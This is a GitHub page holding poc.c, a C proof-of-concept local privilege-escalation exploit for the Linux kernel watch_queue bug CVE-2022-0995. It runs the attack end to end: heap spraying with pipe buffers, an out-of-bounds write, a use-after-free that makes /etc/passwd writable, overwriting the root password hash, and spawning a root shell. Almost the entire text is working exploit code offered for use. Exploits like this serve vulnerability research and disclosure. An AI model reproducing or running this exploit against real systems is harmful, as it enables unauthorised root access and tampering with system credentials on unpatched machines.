-
Notifications
You must be signed in to change notification settings - Fork 203
Expand file tree
/
Copy pathpoc.c
More file actions
405 lines (335 loc) · 10.1 KB
/
Copy pathpoc.c
File metadata and controls
405 lines (335 loc) · 10.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
// gcc exploit.c -o exploit -no-pie -static -masm=intel
#define _GNU_SOURCE
#include <err.h>
#include <errno.h>
#include <inttypes.h>
#include <sched.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <linux/watch_queue.h>
#include <sys/syscall.h>
#include <sys/resource.h>
// #include<fcntl.h>
#define PRIMARY_MSG_SIZE 96
#define SECONDARY_MSG_SIZE 0x400
#define PRIMARY_MSG_TYPE 0x41
#define SECONDARY_MSG_TYPE 0x42
#define VICTIM_MSG_TYPE 0x1337
#define MSG_TAG 0xAAAAAAAA
#define SOCKET_NUM 16
#define SK_BUFF_NUM 128
#define PIPE_NUM 0x790
#define FILE_NUM 0x100
#define CLOSE printf("\033[0m");
#define RED printf("\033[31m");
#define GREEN printf("\033[36m");
#define BLUE printf("\033[34m");
void leak(size_t *content,size_t size)
{
printf("[*]Leak: ");
for(int i=0;i<(int)(size/8);i++)
{
printf("%llx\n",content[i]);
}
}
struct list_head
{
uint64_t next;
uint64_t prev;
};
struct msg_msg
{
struct list_head m_list;
uint64_t m_type;
uint64_t m_ts;
uint64_t next;
uint64_t security;
};
struct msg_msgseg
{
uint64_t next;
};
struct
{
long mtype;
char mtext[PRIMARY_MSG_SIZE - sizeof(struct msg_msg)];
}primary_msg;
struct
{
long mtype;
char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
}secondary_msg;
// sizeof(struct skb_shared_info) = 0x140 1024-0x140 = 704
char fake_secondary_msg[704];
struct
{
long mtype;
char mtext[0x1000 - sizeof(struct msg_msg) + 0x1000 - sizeof(struct msg_msgseg)];
} oob_msg;
struct pipe_buffer
{
uint64_t page;
uint32_t offset, len;
uint64_t ops;
uint32_t flags;
uint32_t padding;
uint64_t private;
};
struct pipe_buf_operations
{
uint64_t confirm;
uint64_t release;
uint64_t try_steal;
uint64_t get;
};
void errExit(char *msg)
{
printf("[-] Error: %s\n", msg);
exit(EXIT_FAILURE);
}
static void adjust_rlimit()
{
struct rlimit rlim;
rlim.rlim_cur = rlim.rlim_max = (1L << 63);
setrlimit(RLIMIT_AS, &rlim);
rlim.rlim_cur = rlim.rlim_max = 32 << 20;
setrlimit(RLIMIT_MEMLOCK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 136 << 20;
setrlimit(RLIMIT_FSIZE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 1 << 20;
setrlimit(RLIMIT_STACK, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0;
setrlimit(RLIMIT_CORE, &rlim);
rlim.rlim_cur = rlim.rlim_max = 0x8000;
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0)
{
rlim.rlim_cur = rlim.rlim_max = 4096;
if (setrlimit(RLIMIT_NOFILE, &rlim) < 0)
{
errExit("setrlimit(RLIMIT_NOFILE, &rlim): %m");
}
}
struct rlimit print_limit;
getrlimit(RLIMIT_NOFILE, &print_limit);
printf("[RLIMIT_NOFILE] soft limit= 0x%lx \t"
" hard limit= 0x%lx\n",
(long)print_limit.rlim_cur,
(long)print_limit.rlim_max);
getrlimit(RLIMIT_AS, &print_limit);
printf("[RLIMIT_AS] soft limit= 0x%lx \t"
" hard limit= 0x%lx\n",
(long)print_limit.rlim_cur,
(long)print_limit.rlim_max);
}
void get_shell(void)
{
if (getuid())
errExit("failed to gain the root!");
printf("[+] Success! Pop root shell now...\n");
syscall(SYS_execve, "/bin/sh", 0, 0);
}
void oob_write(int pipe_fd[2])
{
struct watch_notification_filter *wfilter;
unsigned int nfilters;
nfilters = 4;
wfilter = (struct watch_notification_filter*)
calloc(1, sizeof(struct watch_notification_filter)
+ nfilters * sizeof(struct watch_notification_type_filter));
wfilter->nr_filters = nfilters;
// normal filter
for (int i = 0; i < (nfilters - 1); i++)
wfilter->filters[i].type = 1;
// evil filter
// 0x300 = 8 * 96 bytes
// 1 << 0xa = 0x400, maybe we can hit a proper bit
wfilter->filters[nfilters - 1].type = 0x306;
// triger oob write
if (ioctl(pipe_fd[0], IOC_WATCH_QUEUE_SET_FILTER, wfilter) < 0)
errExit("failed to ioctl IOC_WATCH_QUEUE_SET_FILTER!");
// prevent memory leak in userspace(no need in fact)
free(wfilter);
}
int pipe_fd[PIPE_NUM][2];
size_t find_pipe[PIPE_NUM][0x2];
int oob_pipe_fd[2];
size_t pipe_data[0x200];
int sk_sockets[SOCKET_NUM][2];
int tmp_fd[2];
int victim_qid, real_qid;
struct msg_msg *nearby_msg;
struct msg_msg *nearby_msg_prim;
struct pipe_buffer *pipe_buf_ptr;
struct pipe_buf_operations *ops_ptr;
uint64_t victim_addr;
uint64_t kernel_base;
uint64_t kernel_offset;
uint64_t *rop_chain;
int rop_idx;
cpu_set_t cpu_set;
long page_size;
size_t offset_in_file;
size_t data_size;
int target_file_fd;
int writable_file_fd;
struct stat target_file_stat;
// int pipe_fd[2];
int pipe_size;
char *buffer;
int retval;
size_t pipe_magic_num[0x2];
int same_pipe[2];
int file_fd[FILE_NUM];
int main(int argc, char **argv, char **envp)
{
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
adjust_rlimit();
// if (fstat(target_file_fd, &target_file_stat))
// errExit("Failed to get the info of the target file!");
page_size = sysconf(_SC_PAGE_SIZE);
// pipe to trigert off-by-null
if (pipe2(oob_pipe_fd, O_NOTIFICATION_PIPE) < 0)
errExit("failed to create O_NOTIFICATION_PIPE!");
RED puts("[*] CVE-2022-0995 by Lotus"); CLOSE
puts("[*] spray pipe_buffer...");
for (int i = 0; i < PIPE_NUM; i++)
{
if (pipe(pipe_fd[i]) < 0)
{
printf("failed to create pipe:%d!\n",i);
return -1;
}
}
puts("[+] edit the pipe_buffer size to 0x60");
for(int i=0;i<PIPE_NUM;i++)
{
if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 2) < 0) {
printf("[x] failed to extend %d pipe!\n",i);
return -1;
}
}
puts("[*] allocating pipe pages...");
for (int i = 0; i < PIPE_NUM; i++) {
size_t magic_num = 0xdead0000+i;
write(pipe_fd[i][1], &magic_num, 8);
write(pipe_fd[i][1], "Lotus777", 8);
// write(pipe_fd[i][1], &magic_num, sizeof(int));
write(pipe_fd[i][1], &magic_num, sizeof(int));
write(pipe_fd[i][1], "Lotus777", 8);
write(pipe_fd[i][1], "Lotus777", 8); /* prevent pipe_release() */
}
// getchar();
puts("[*] Create 2 holes in pipe_buffer...");
for (int i = 21; i < PIPE_NUM; i += (42))
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
puts("[+] Trigger OOB");
oob_write(oob_pipe_fd);
// for(int i=0;i<PIPE_NUM;i++)
// {
// if (i != same_pipe[1] || i != same_pipe[0] || i%(500/4)!=0)
// {
// if (write(pipe_fd[i][1],"Lotus___", 8) < 0)
// errExit("failed to write the pipe!");
// }
// }
// oob_write(oob_pipe_fd);
for (int i = 21; i < PIPE_NUM; i++)
{
if(((i-21)%(42))!=0)//can't equal to the hole
{
read(pipe_fd[i][0],find_pipe[i],0x10);
}
}
int is_found = 0;
puts("[*] finding...");
for (int i = 0; i < PIPE_NUM&&!is_found; i++)
{
if((i-21)%(42)!=0)//can't equal to the hole
{
//printf("now %d\n",i);
if(find_pipe[i][0]!=0xdead0000+i&&!strncmp(&find_pipe[i][1],"Lotus777",8))
{
same_pipe[0]=find_pipe[i][0]-0xdead0000;
same_pipe[1]=i;//previous
// if(same_pipe[0]>PIPE_NUM||same_pipe[0]-same_pipe[1]==1||same_pipe[1]-same_pipe[0]==1)
if(same_pipe[0]>PIPE_NUM)
{
RED puts("[*]pipe idx out of range."); CLOSE
return -1;
}
BLUE printf("found pipe coincide at idx:%d and %d\n",same_pipe[0],same_pipe[1]); CLOSE
is_found=1;
}
}
}
// puts("[*]finding down...");
if(!is_found)
{
RED puts("[*]Not hit."); CLOSE
return -1;
}
size_t buf[0x1000];
int SND_PIPE_BUF_SZ = 96*2;
size_t snd_pipe_sz = 0x1000 * (SND_PIPE_BUF_SZ/0x28);
memset(buf, '\0', sizeof(buf));
/*write something to alarge the pipe_read size after*/
// write(pipe_fd[same_pipe[1]][1], buf,0x500);
write(pipe_fd[same_pipe[1]][1], buf, SND_PIPE_BUF_SZ*2 - 24 - 3*sizeof(int)+0x18+0x28+0x84 - 0x30);
puts("[*] uaf one of the pipe_buffer->page");
// getchar();
close(pipe_fd[same_pipe[0]][0]);
close(pipe_fd[same_pipe[0]][1]);
// puts("[*]press enter to put the pwd file page cache into the uaf page");
puts("[*] Spray pwd file struct...");
for (int i = 0; i < FILE_NUM; i++)
{
file_fd[i] = open("/etc/passwd", 0);
if (file_fd[i] < 0)
{
errExit("FAILED to open pwd file!");
}
}
size_t tmp = 0x480e801f;
puts("[*] Edit pwd file->f_mode...");
if(write(pipe_fd[same_pipe[1]][1], &tmp, 4) < 0)
{
errExit("failed to write the pipe!");
}
char *data = "root:$1$Lotus$TzwLEwMAk3C7fXk4o9atu0:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt Lotus Lotus
printf("Setting root password to \"Lotus\"...\n");
int data_size = strlen(data);
puts("[*] finally: edit the pwd file");
//what we want to edit pipe->page
for (int i = 0;i < FILE_NUM; i++) {
int retval = write(file_fd[i], data,data_size);
if (retval > 0)
{
RED printf("Write Success:%d!\n",i); CLOSE
}
}
//for (int i = 0;i < FILE_NUM; i++)
//{
//close(file_fd[i]);
//}
puts("[*] Now the password is:");
system("head -n 1 /etc/passwd");
puts("");
char *argvv[] = {"/bin/sh", "-c", "(echo Lotus; cat) | su - -c \""
"echo \\\"\033[31mDone! Popping shell... (run commands now)\\\";"
// "cp /tmp/passwd /etc/passwd;"
"/bin/sh;"
"\" root",NULL};
//execv("/bin/sh", argvv);
}